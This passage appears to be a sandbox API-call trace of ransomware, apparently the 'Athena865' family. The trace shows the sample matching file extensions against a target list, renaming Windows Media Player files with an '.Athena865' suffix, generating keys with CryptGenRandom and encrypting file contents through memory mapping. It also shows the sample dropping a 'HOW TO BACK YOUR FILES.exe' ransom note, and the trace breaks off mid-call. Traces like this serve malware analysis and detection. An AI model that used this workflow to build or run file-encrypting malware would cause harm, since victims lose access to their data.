[0096.468] lstrlenW (lpString="4dd") returned 3 [0096.468] lstrcmpiW (lpString1="wmz", lpString2="4dd") returned 1 [0096.468] lstrlenW (lpString="4dl") returned 3 [0096.468] lstrcmpiW (lpString1="wmz", lpString2="4dl") returned 1 [0096.468] lstrlenW (lpString="^^^") returned 3 [0096.468] lstrcmpiW (lpString1="wmz", lpString2="^^^") returned 1 [0096.468] lstrlenW (lpString="abs") returned 3 [0096.468] lstrcmpiW (lpString1="wmz", lpString2="abs") returned 1 [0096.468] lstrlenW (lpString="abx") returned 3 [0096.468] lstrcmpiW (lpString1="wmz", lpString2="abx") returned 1 [0096.468] lstrlenW (lpString="accdb") returned 5 [0096.468] lstrcmpiW (lpString1="t.wmz", lpString2="accdb") returned 1 [0096.468] lstrlenW (lpString="accdc") returned 5 [0096.468] lstrcmpiW (lpString1="t.wmz", lpString2="accdc") returned 1 [0096.468] lstrlenW (lpString="accde") returned 5 [0096.468] lstrcmpiW (lpString1="t.wmz", lpString2="accde") returned 1 [0096.468] lstrlenW (lpString="accdr") returned 5 [0096.468] lstrcmpiW (lpString1="t.wmz", lpString2="accdr") returned 1 [0096.468] lstrlenW (lpString="accdt") returned 5 [0096.468] lstrcmpiW (lpString1="t.wmz", lpString2="accdt") returned 1 [0096.468] lstrlenW (lpString="accdw") returned 5 [0096.468] lstrcmpiW (lpString1="t.wmz", lpString2="accdw") returned 1 [0096.468] lstrlenW (lpString="accft") returned 5 [0096.468] lstrcmpiW (lpString1="t.wmz", lpString2="accft") returned 1 [0096.469] lstrlenW (lpString="adb") returned 3 [0096.469] lstrcmpiW (lpString1="wmz", lpString2="adb") returned 1 [0096.469] lstrlenW (lpString="adb") returned 3 [0096.469] lstrcmpiW (lpString1="wmz", lpString2="adb") returned 1 [0096.469] lstrlenW (lpString="ade") returned 3 [0096.469] lstrcmpiW (lpString1="wmz", lpString2="ade") returned 1 [0096.469] lstrlenW (lpString="adf") returned 3 [0096.469] lstrcmpiW (lpString1="wmz", lpString2="adf") returned 1 [0096.469] lstrlenW (lpString="adn") returned 3 [0096.469] lstrcmpiW (lpString1="wmz", lpString2="adn") returned 1 [0096.469] lstrlenW (lpString="adp") returned 3 [0096.469] lstrcmpiW (lpString1="wmz", lpString2="adp") returned 1 [0096.469] lstrlenW (lpString="alf") returned 3 [0096.469] lstrcmpiW (lpString1="wmz", lpString2="alf") returned 1 [0096.469] lstrlenW (lpString="ask") returned 3 [0096.469] lstrcmpiW (lpString1="wmz", lpString2="ask") returned 1 [0096.469] lstrlenW (lpString="btr") returned 3 [0096.469] lstrcmpiW (lpString1="wmz", lpString2="btr") returned 1 [0096.469] lstrlenW (lpString="cat") returned 3 [0096.469] lstrcmpiW (lpString1="wmz", lpString2="cat") returned 1 [0096.469] lstrlenW (lpString="cdb") returned 3 [0096.469] lstrcmpiW (lpString1="wmz", lpString2="cdb") returned 1 [0096.469] lstrlenW (lpString="ckp") returned 3 [0096.469] lstrcmpiW (lpString1="wmz", lpString2="ckp") returned 1 [0096.469] lstrlenW (lpString="cma") returned 3 [0096.469] lstrcmpiW (lpString1="wmz", lpString2="cma") returned 1 [0096.469] lstrlenW (lpString="cpd") returned 3 [0096.469] lstrcmpiW (lpString1="wmz", lpString2="cpd") returned 1 [0096.469] lstrlenW (lpString="dacpac") returned 6 [0096.469] lstrcmpiW (lpString1="rt.wmz", lpString2="dacpac") returned 1 [0096.469] lstrlenW (lpString="dad") returned 3 [0096.469] lstrcmpiW (lpString1="wmz", lpString2="dad") returned 1 [0096.470] lstrlenW (lpString="dadiagrams") returned 10 [0096.470] lstrlenW (lpString="daschema") returned 8 [0096.470] lstrcmpiW (lpString1="vert.wmz", lpString2="daschema") returned 1 [0096.470] lstrlenW (lpString="db-journal") returned 10 [0096.470] lstrlenW (lpString="db-shm") returned 6 [0096.470] lstrcmpiW (lpString1="rt.wmz", lpString2="db-shm") returned 1 [0096.470] lstrlenW (lpString="db-wal") returned 6 [0096.470] lstrcmpiW (lpString1="rt.wmz", lpString2="db-wal") returned 1 [0096.470] lstrlenW (lpString="dbc") returned 3 [0096.470] lstrcmpiW (lpString1="wmz", lpString2="dbc") returned 1 [0096.470] lstrlenW (lpString="dbs") returned 3 [0096.470] lstrcmpiW (lpString1="wmz", lpString2="dbs") returned 1 [0096.470] lstrlenW (lpString="dbt") returned 3 [0096.470] lstrcmpiW (lpString1="wmz", lpString2="dbt") returned 1 [0096.470] lstrlenW (lpString="dbv") returned 3 [0096.470] lstrcmpiW (lpString1="wmz", lpString2="dbv") returned 1 [0096.470] lstrlenW (lpString="dbx") returned 3 [0096.470] lstrcmpiW (lpString1="wmz", lpString2="dbx") returned 1 [0096.470] lstrlenW (lpString="dcb") returned 3 [0096.470] lstrcmpiW (lpString1="wmz", lpString2="dcb") returned 1 [0096.470] lstrlenW (lpString="dct") returned 3 [0096.470] lstrcmpiW (lpString1="wmz", lpString2="dct") returned 1 [0096.470] lstrlenW (lpString="dcx") returned 3 [0096.470] lstrcmpiW (lpString1="wmz", lpString2="dcx") returned 1 [0096.470] lstrlenW (lpString="ddl") returned 3 [0096.470] lstrcmpiW (lpString1="wmz", lpString2="ddl") returned 1 [0096.470] lstrlenW (lpString="dlis") returned 4 [0096.470] lstrcmpiW (lpString1=".wmz", lpString2="dlis") returned -1 [0096.470] lstrlenW (lpString="dp1") returned 3 [0096.470] lstrcmpiW (lpString1="wmz", lpString2="dp1") returned 1 [0096.470] lstrlenW (lpString="dqy") returned 3 [0096.470] lstrcmpiW (lpString1="wmz", lpString2="dqy") returned 1 [0096.470] lstrlenW (lpString="dsk") returned 3 [0096.471] lstrcmpiW (lpString1="wmz", lpString2="dsk") returned 1 [0096.471] lstrlenW (lpString="dsn") returned 3 [0096.471] lstrcmpiW (lpString1="wmz", lpString2="dsn") returned 1 [0096.471] lstrlenW (lpString="dtsx") returned 4 [0096.471] lstrcmpiW (lpString1=".wmz", lpString2="dtsx") returned -1 [0096.471] lstrlenW (lpString="dxl") returned 3 [0096.471] lstrcmpiW (lpString1="wmz", lpString2="dxl") returned 1 [0096.471] lstrlenW (lpString="eco") returned 3 [0096.471] lstrcmpiW (lpString1="wmz", lpString2="eco") returned 1 [0096.471] lstrlenW (lpString="ecx") returned 3 [0096.471] lstrcmpiW (lpString1="wmz", lpString2="ecx") returned 1 [0096.471] lstrlenW (lpString="edb") returned 3 [0096.471] lstrcmpiW (lpString1="wmz", lpString2="edb") returned 1 [0096.471] lstrlenW (lpString="epim") returned 4 [0096.471] lstrcmpiW (lpString1=".wmz", lpString2="epim") returned -1 [0096.471] lstrlenW (lpString="fcd") returned 3 [0096.471] lstrcmpiW (lpString1="wmz", lpString2="fcd") returned 1 [0096.471] lstrlenW (lpString="fdb") returned 3 [0096.471] lstrcmpiW (lpString1="wmz", lpString2="fdb") returned 1 [0096.471] lstrlenW (lpString="fic") returned 3 [0096.471] lstrcmpiW (lpString1="wmz", lpString2="fic") returned 1 [0096.471] lstrlenW (lpString="flexolibrary") returned 12 [0096.471] lstrlenW (lpString="fm5") returned 3 [0096.471] lstrcmpiW (lpString1="wmz", lpString2="fm5") returned 1 [0096.471] lstrlenW (lpString="fmp") returned 3 [0096.471] lstrcmpiW (lpString1="wmz", lpString2="fmp") returned 1 [0096.471] lstrlenW (lpString="fmp12") returned 5 [0096.471] lstrcmpiW (lpString1="t.wmz", lpString2="fmp12") returned 1 [0096.471] lstrlenW (lpString="fmpsl") returned 5 [0096.471] lstrcmpiW (lpString1="t.wmz", lpString2="fmpsl") returned 1 [0096.471] lstrlenW (lpString="fol") returned 3 [0096.471] lstrcmpiW (lpString1="wmz", lpString2="fol") returned 1 [0096.471] lstrlenW (lpString="fp3") returned 3 [0096.472] lstrcmpiW (lpString1="wmz", lpString2="fp3") returned 1 [0096.472] lstrlenW (lpString="fp4") returned 3 [0096.472] lstrcmpiW (lpString1="wmz", lpString2="fp4") returned 1 [0096.472] lstrlenW (lpString="fp5") returned 3 [0096.472] lstrcmpiW (lpString1="wmz", lpString2="fp5") returned 1 [0096.472] lstrlenW (lpString="fp7") returned 3 [0096.472] lstrcmpiW (lpString1="wmz", lpString2="fp7") returned 1 [0096.472] lstrlenW (lpString="fpt") returned 3 [0096.472] lstrcmpiW (lpString1="wmz", lpString2="fpt") returned 1 [0096.472] lstrlenW (lpString="frm") returned 3 [0096.472] lstrcmpiW (lpString1="wmz", lpString2="frm") returned 1 [0096.472] lstrlenW (lpString="gdb") returned 3 [0096.472] lstrcmpiW (lpString1="wmz", lpString2="gdb") returned 1 [0096.472] lstrlenW (lpString="gdb") returned 3 [0096.472] lstrcmpiW (lpString1="wmz", lpString2="gdb") returned 1 [0096.472] lstrlenW (lpString="grdb") returned 4 [0096.472] lstrcmpiW (lpString1=".wmz", lpString2="grdb") returned -1 [0096.472] lstrlenW (lpString="gwi") returned 3 [0096.472] lstrcmpiW (lpString1="wmz", lpString2="gwi") returned 1 [0096.472] lstrlenW (lpString="hdb") returned 3 [0096.472] lstrcmpiW (lpString1="wmz", lpString2="hdb") returned 1 [0096.472] lstrlenW (lpString="his") returned 3 [0096.472] lstrcmpiW (lpString1="wmz", lpString2="his") returned 1 [0096.472] lstrlenW (lpString="ib") returned 2 [0096.472] lstrcmpiW (lpString1="mz", lpString2="ib") returned 1 [0096.472] lstrlenW (lpString="idb") returned 3 [0096.472] lstrcmpiW (lpString1="wmz", lpString2="idb") returned 1 [0096.472] lstrlenW (lpString="ihx") returned 3 [0096.472] lstrcmpiW (lpString1="wmz", lpString2="ihx") returned 1 [0096.472] lstrlenW (lpString="itdb") returned 4 [0096.472] lstrcmpiW (lpString1=".wmz", lpString2="itdb") returned -1 [0096.472] lstrlenW (lpString="itw") returned 3 [0096.473] lstrcmpiW (lpString1="wmz", lpString2="itw") returned 1 [0096.473] lstrlenW (lpString="jet") returned 3 [0096.473] lstrcmpiW (lpString1="wmz", lpString2="jet") returned 1 [0096.473] lstrlenW (lpString="jtx") returned 3 [0096.473] lstrcmpiW (lpString1="wmz", lpString2="jtx") returned 1 [0096.473] lstrlenW (lpString="kdb") returned 3 [0096.473] lstrcmpiW (lpString1="wmz", lpString2="kdb") returned 1 [0096.473] lstrlenW (lpString="kexi") returned 4 [0096.473] lstrcmpiW (lpString1=".wmz", lpString2="kexi") returned -1 [0096.473] lstrlenW (lpString="kexic") returned 5 [0096.473] lstrcmpiW (lpString1="t.wmz", lpString2="kexic") returned 1 [0096.473] lstrlenW (lpString="kexis") returned 5 [0096.473] lstrcmpiW (lpString1="t.wmz", lpString2="kexis") returned 1 [0096.473] lstrlenW (lpString="lgc") returned 3 [0096.473] lstrcmpiW (lpString1="wmz", lpString2="lgc") returned 1 [0096.473] lstrlenW (lpString="lwx") returned 3 [0096.473] lstrcmpiW (lpString1="wmz", lpString2="lwx") returned 1 [0096.473] lstrlenW (lpString="maf") returned 3 [0096.473] lstrcmpiW (lpString1="wmz", lpString2="maf") returned 1 [0096.473] lstrlenW (lpString="maq") returned 3 [0096.473] lstrcmpiW (lpString1="wmz", lpString2="maq") returned 1 [0096.473] lstrlenW (lpString="mar") returned 3 [0096.473] lstrcmpiW (lpString1="wmz", lpString2="mar") returned 1 [0096.473] lstrlenW (lpString="marshal") returned 7 [0096.473] lstrcmpiW (lpString1="ert.wmz", lpString2="marshal") returned -1 [0096.473] lstrlenW (lpString="mas") returned 3 [0096.473] lstrcmpiW (lpString1="wmz", lpString2="mas") returned 1 [0096.473] lstrlenW (lpString="mav") returned 3 [0096.473] lstrcmpiW (lpString1="wmz", lpString2="mav") returned 1 [0096.473] lstrlenW (lpString="maw") returned 3 [0096.473] lstrcmpiW (lpString1="wmz", lpString2="maw") returned 1 [0096.473] lstrlenW (lpString="mdbhtml") returned 7 [0096.474] lstrcmpiW (lpString1="ert.wmz", lpString2="mdbhtml") returned -1 [0096.474] lstrlenW (lpString="mdn") returned 3 [0096.474] lstrcmpiW (lpString1="wmz", lpString2="mdn") returned 1 [0096.474] lstrlenW (lpString="mdt") returned 3 [0096.474] lstrcmpiW (lpString1="wmz", lpString2="mdt") returned 1 [0096.474] lstrlenW (lpString="mfd") returned 3 [0096.474] lstrcmpiW (lpString1="wmz", lpString2="mfd") returned 1 [0096.474] lstrlenW (lpString="mpd") returned 3 [0096.474] lstrcmpiW (lpString1="wmz", lpString2="mpd") returned 1 [0096.474] lstrlenW (lpString="mrg") returned 3 [0096.474] lstrcmpiW (lpString1="wmz", lpString2="mrg") returned 1 [0096.474] lstrlenW (lpString="mud") returned 3 [0096.474] lstrcmpiW (lpString1="wmz", lpString2="mud") returned 1 [0096.474] lstrlenW (lpString="mwb") returned 3 [0096.474] lstrcmpiW (lpString1="wmz", lpString2="mwb") returned 1 [0096.474] lstrlenW (lpString="myd") returned 3 [0096.474] lstrcmpiW (lpString1="wmz", lpString2="myd") returned 1 [0096.474] lstrlenW (lpString="ndf") returned 3 [0096.474] lstrcmpiW (lpString1="wmz", lpString2="ndf") returned 1 [0096.474] lstrlenW (lpString="nnt") returned 3 [0096.474] lstrcmpiW (lpString1="wmz", lpString2="nnt") returned 1 [0096.474] lstrlenW (lpString="nrmlib") returned 6 [0096.474] lstrcmpiW (lpString1="rt.wmz", lpString2="nrmlib") returned 1 [0096.474] lstrlenW (lpString="ns2") returned 3 [0096.474] lstrcmpiW (lpString1="wmz", lpString2="ns2") returned 1 [0096.474] lstrlenW (lpString="ns3") returned 3 [0096.474] lstrcmpiW (lpString1="wmz", lpString2="ns3") returned 1 [0096.474] lstrlenW (lpString="ns4") returned 3 [0096.474] lstrcmpiW (lpString1="wmz", lpString2="ns4") returned 1 [0096.474] lstrlenW (lpString="nsf") returned 3 [0096.474] lstrcmpiW (lpString1="wmz", lpString2="nsf") returned 1 [0096.474] lstrlenW (lpString="nv") returned 2 [0096.475] lstrcmpiW (lpString1="mz", lpString2="nv") returned -1 [0096.475] lstrlenW (lpString="nv2") returned 3 [0096.475] lstrcmpiW (lpString1="wmz", lpString2="nv2") returned 1 [0096.475] lstrlenW (lpString="nwdb") returned 4 [0096.475] lstrcmpiW (lpString1=".wmz", lpString2="nwdb") returned -1 [0096.475] lstrlenW (lpString="nyf") returned 3 [0096.475] lstrcmpiW (lpString1="wmz", lpString2="nyf") returned 1 [0096.475] lstrlenW (lpString="odb") returned 3 [0096.475] lstrcmpiW (lpString1="wmz", lpString2="odb") returned 1 [0096.475] lstrlenW (lpString="odb") returned 3 [0096.475] lstrcmpiW (lpString1="wmz", lpString2="odb") returned 1 [0096.475] lstrlenW (lpString="oqy") returned 3 [0096.475] lstrcmpiW (lpString1="wmz", lpString2="oqy") returned 1 [0096.475] lstrlenW (lpString="ora") returned 3 [0096.475] lstrcmpiW (lpString1="wmz", lpString2="ora") returned 1 [0096.475] lstrlenW (lpString="orx") returned 3 [0096.475] lstrcmpiW (lpString1="wmz", lpString2="orx") returned 1 [0096.475] lstrlenW (lpString="owc") returned 3 [0096.475] lstrcmpiW (lpString1="wmz", lpString2="owc") returned 1 [0096.475] lstrlenW (lpString="p96") returned 3 [0096.475] lstrcmpiW (lpString1="wmz", lpString2="p96") returned 1 [0096.475] lstrlenW (lpString="p97") returned 3 [0096.475] lstrcmpiW (lpString1="wmz", lpString2="p97") returned 1 [0096.475] lstrlenW (lpString="pan") returned 3 [0096.475] lstrcmpiW (lpString1="wmz", lpString2="pan") returned 1 [0096.475] lstrlenW (lpString="pdb") returned 3 [0096.475] lstrcmpiW (lpString1="wmz", lpString2="pdb") returned 1 [0096.475] lstrlenW (lpString="pdm") returned 3 [0096.475] lstrcmpiW (lpString1="wmz", lpString2="pdm") returned 1 [0096.475] lstrlenW (lpString="pnz") returned 3 [0096.475] lstrcmpiW (lpString1="wmz", lpString2="pnz") returned 1 [0096.475] lstrlenW (lpString="qry") returned 3 [0096.476] lstrcmpiW (lpString1="wmz", lpString2="qry") returned 1 [0096.476] lstrlenW (lpString="qvd") returned 3 [0096.476] lstrcmpiW (lpString1="wmz", lpString2="qvd") returned 1 [0096.476] lstrlenW (lpString="rbf") returned 3 [0096.476] lstrcmpiW (lpString1="wmz", lpString2="rbf") returned 1 [0096.476] lstrlenW (lpString="rctd") returned 4 [0096.476] lstrcmpiW (lpString1=".wmz", lpString2="rctd") returned -1 [0096.476] lstrlenW (lpString="rod") returned 3 [0096.476] lstrcmpiW (lpString1="wmz", lpString2="rod") returned 1 [0096.476] lstrlenW (lpString="rodx") returned 4 [0096.476] lstrcmpiW (lpString1=".wmz", lpString2="rodx") returned -1 [0096.476] lstrlenW (lpString="rpd") returned 3 [0096.476] lstrcmpiW (lpString1="wmz", lpString2="rpd") returned 1 [0096.476] lstrlenW (lpString="rsd") returned 3 [0096.476] lstrcmpiW (lpString1="wmz", lpString2="rsd") returned 1 [0096.476] lstrlenW (lpString="sas7bdat") returned 8 [0096.476] lstrcmpiW (lpString1="vert.wmz", lpString2="sas7bdat") returned 1 [0096.476] lstrlenW (lpString="sbf") returned 3 [0096.476] lstrcmpiW (lpString1="wmz", lpString2="sbf") returned 1 [0096.476] lstrlenW (lpString="scx") returned 3 [0096.476] lstrcmpiW (lpString1="wmz", lpString2="scx") returned 1 [0096.476] lstrlenW (lpString="sdb") returned 3 [0096.476] lstrcmpiW (lpString1="wmz", lpString2="sdb") returned 1 [0096.476] lstrlenW (lpString="sdc") returned 3 [0096.476] lstrcmpiW (lpString1="wmz", lpString2="sdc") returned 1 [0096.476] lstrlenW (lpString="sdf") returned 3 [0096.476] lstrcmpiW (lpString1="wmz", lpString2="sdf") returned 1 [0096.476] lstrlenW (lpString="sis") returned 3 [0096.476] lstrcmpiW (lpString1="wmz", lpString2="sis") returned 1 [0096.476] lstrlenW (lpString="spq") returned 3 [0096.476] lstrcmpiW (lpString1="wmz", lpString2="spq") returned 1 [0096.476] lstrlenW (lpString="te") returned 2 [0096.477] lstrcmpiW (lpString1="mz", lpString2="te") returned -1 [0096.477] lstrlenW (lpString="teacher") returned 7 [0096.477] lstrcmpiW (lpString1="ert.wmz", lpString2="teacher") returned -1 [0096.477] lstrlenW (lpString="tmd") returned 3 [0096.477] lstrcmpiW (lpString1="wmz", lpString2="tmd") returned 1 [0096.477] lstrlenW (lpString="tps") returned 3 [0096.477] lstrcmpiW (lpString1="wmz", lpString2="tps") returned 1 [0096.477] lstrlenW (lpString="trc") returned 3 [0096.477] lstrcmpiW (lpString1="wmz", lpString2="trc") returned 1 [0096.477] lstrlenW (lpString="trc") returned 3 [0096.477] lstrcmpiW (lpString1="wmz", lpString2="trc") returned 1 [0096.477] lstrlenW (lpString="trm") returned 3 [0096.477] lstrcmpiW (lpString1="wmz", lpString2="trm") returned 1 [0096.477] lstrlenW (lpString="udb") returned 3 [0096.477] lstrcmpiW (lpString1="wmz", lpString2="udb") returned 1 [0096.477] lstrlenW (lpString="udl") returned 3 [0096.477] lstrcmpiW (lpString1="wmz", lpString2="udl") returned 1 [0096.477] lstrlenW (lpString="usr") returned 3 [0096.477] lstrcmpiW (lpString1="wmz", lpString2="usr") returned 1 [0096.477] lstrlenW (lpString="v12") returned 3 [0096.477] lstrcmpiW (lpString1="wmz", lpString2="v12") returned 1 [0096.477] lstrlenW (lpString="vis") returned 3 [0096.477] lstrcmpiW (lpString1="wmz", lpString2="vis") returned 1 [0096.477] lstrlenW (lpString="vpd") returned 3 [0096.477] lstrcmpiW (lpString1="wmz", lpString2="vpd") returned 1 [0096.477] lstrlenW (lpString="vvv") returned 3 [0096.477] lstrcmpiW (lpString1="wmz", lpString2="vvv") returned 1 [0096.477] lstrlenW (lpString="wdb") returned 3 [0096.477] lstrcmpiW (lpString1="wmz", lpString2="wdb") returned 1 [0096.477] lstrlenW (lpString="wmdb") returned 4 [0096.477] lstrcmpiW (lpString1=".wmz", lpString2="wmdb") returned -1 [0096.477] lstrlenW (lpString="wrk") returned 3 [0096.478] lstrcmpiW (lpString1="wmz", lpString2="wrk") returned -1 [0096.478] lstrlenW (lpString="xdb") returned 3 [0096.478] lstrcmpiW (lpString1="wmz", lpString2="xdb") returned -1 [0096.478] lstrlenW (lpString="xld") returned 3 [0096.478] lstrcmpiW (lpString1="wmz", lpString2="xld") returned -1 [0096.478] lstrlenW (lpString="xmlff") returned 5 [0096.478] lstrcmpiW (lpString1="t.wmz", lpString2="xmlff") returned -1 [0096.478] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Windows Media Player\\Skins\\Revert.wmz.Athena865") returned 70 [0096.478] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Windows Media Player\\Skins\\Revert.wmz" (normalized: "c:\\program files (x86)\\windows media player\\skins\\revert.wmz"), lpNewFileName="C:\\Program Files (x86)\\Windows Media Player\\Skins\\Revert.wmz.Athena865" (normalized: "c:\\program files (x86)\\windows media player\\skins\\revert.wmz.athena865"), dwFlags=0x1) returned 1 [0096.478] CreateFileW (lpFileName="C:\\Program Files (x86)\\Windows Media Player\\Skins\\Revert.wmz.Athena865" (normalized: "c:\\program files (x86)\\windows media player\\skins\\revert.wmz.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0096.479] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=67209) returned 1 [0096.479] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0096.479] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d480 [0096.479] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x5189a8 [0096.479] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518ab8) returned 1 [0096.480] CryptGenRandom (in: hProv=0x518ab8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0096.480] CryptReleaseContext (hProv=0x518ab8, dwFlags=0x0) returned 1 [0096.480] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x10990, lpName=0x0) returned 0x17c [0096.483] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x10990) returned 0x100000 [0096.489] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518ab8) returned 1 [0096.490] CryptGenRandom (in: hProv=0x518ab8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0096.490] CryptReleaseContext (hProv=0x518ab8, dwFlags=0x0) returned 1 [0096.490] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d390 [0096.490] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d390 | out: hHeap=0x4f0000) returned 1 [0096.490] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x520b60 [0096.490] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0096.490] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x520b60 | out: hHeap=0x4f0000) returned 1 [0096.490] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0096.490] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50bdf8 [0096.490] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0096.490] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50bdf8 | out: hHeap=0x4f0000) returned 1 [0096.490] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0096.490] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0096.491] CloseHandle (hObject=0x17c) returned 1 [0096.491] CloseHandle (hObject=0x154) returned 1 [0096.491] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d480 | out: hHeap=0x4f0000) returned 1 [0096.491] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5189a8 | out: hHeap=0x4f0000) returned 1 [0096.491] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0096.492] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3e98f1d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb3e98f1d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb3ebf07d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x10689, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Revert.wmz", cAlternateFileName="")) returned 0 [0096.492] FindClose (in: hFindFile=0x529410 | out: hFindFile=0x529410) returned 1 [0096.492] ReleaseMutex (hMutex=0xec) returned 1 [0096.492] CloseHandle (hObject=0xec) returned 1 [0096.492] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Program Files (x86)\\Windows Media Player\\Visualizations" | out: lpString1="C:\\Program Files (x86)\\Windows Media Player\\Visualizations") returned="C:\\Program Files (x86)\\Windows Media Player\\Visualizations" [0096.492] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x501ea8 | out: hHeap=0x4f0000) returned 1 [0096.492] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5309e0 | out: hHeap=0x4f0000) returned 1 [0096.492] lstrlenW (lpString="C:\\Program Files (x86)\\Windows Media Player\\Visualizations") returned 58 [0096.492] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\CC88DAC75F72242E9F5E5B92D41ED343") returned 0xec [0096.492] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0096.492] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Windows Media Player\\Visualizations" | out: lpString1="C:\\Program Files (x86)\\Windows Media Player\\Visualizations") returned="C:\\Program Files (x86)\\Windows Media Player\\Visualizations" [0096.492] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0096.492] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Windows Media Player\\Visualizations\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\windows media player\\visualizations\\how to back your files.exe"), bFailIfExists=1) returned 0 [0096.493] CreateFileW (lpFileName="C:\\Program Files (x86)\\Windows Media Player\\Visualizations\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\windows media player\\visualizations\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0096.493] GetLastError () returned 0x0 [0096.493] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0096.493] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x53ed08 [0096.493] ReadFile (in: hFile=0xf4, lpBuffer=0x53ed08, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x53ed08*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0096.494] CloseHandle (hObject=0xf4) returned 1 [0096.494] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53ed08 | out: hHeap=0x4f0000) returned 1 [0096.494] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0096.494] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Windows Media Player\\Visualizations\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xc3c4f420, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc3c4f420, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529410 [0096.494] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0096.494] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0096.494] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0096.494] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, 